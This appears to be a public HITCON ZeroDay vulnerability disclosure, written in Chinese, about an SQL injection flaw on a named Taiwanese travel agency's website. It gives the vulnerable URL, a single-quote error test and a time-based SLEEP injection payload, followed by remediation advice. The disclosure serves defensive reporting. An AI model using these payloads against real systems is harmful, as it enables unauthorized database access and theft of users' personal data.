Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00432
- Vendor: 金漢妮旅行社股份有限公司
- Title: 金漢妮集團公司資料庫注入漏洞
- Introduction: 資料庫注入攻擊
處理狀態
目前狀態
公開
Last Update : 2018/06/08
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/08 06:08:55 : 新提交 (由 FB搜尋"波波的寂寞世界" 更新此狀態)
- 2018/04/08 20:22:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/15 02:20:16 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/15 02:20:17 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/15 02:20:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/08 03:00:17 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00432
- 通報者:twfinderaz (FB搜尋"波波的寂寞世界")
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.thehoney.com.tw/ 該網站存在SQL Injection攻擊
例如 http://www.thehoney.com.tw/group.php?id=4
例如 http://www.thehoney.com.tw/group.php?id=4
敘述
該網站存在SQL Injection攻擊
例如 http://www.thehoney.com.tw/group.php?id=4
簡易測試 輸入 單引號'
http://www.thehoney.com.tw/group.php?id=4'
得知錯誤訊息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'tw'' at line 1
進行sleep測試
http://www.thehoney.com.tw/group.php?id=4' AND SLEEP(5) AND 'wGJv'='wGJv
修補建議
解決方案採用參數化(Parameterized)查詢語法
嚴密的檢查所有輸入值,使用過濾字串函數過濾非法的字元
網站避免使用addslashes或是mysql_real_escape_string,會被繞過
建議Google查一下 SQL Injection攻擊手法,及防範措施Parameterized,
https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。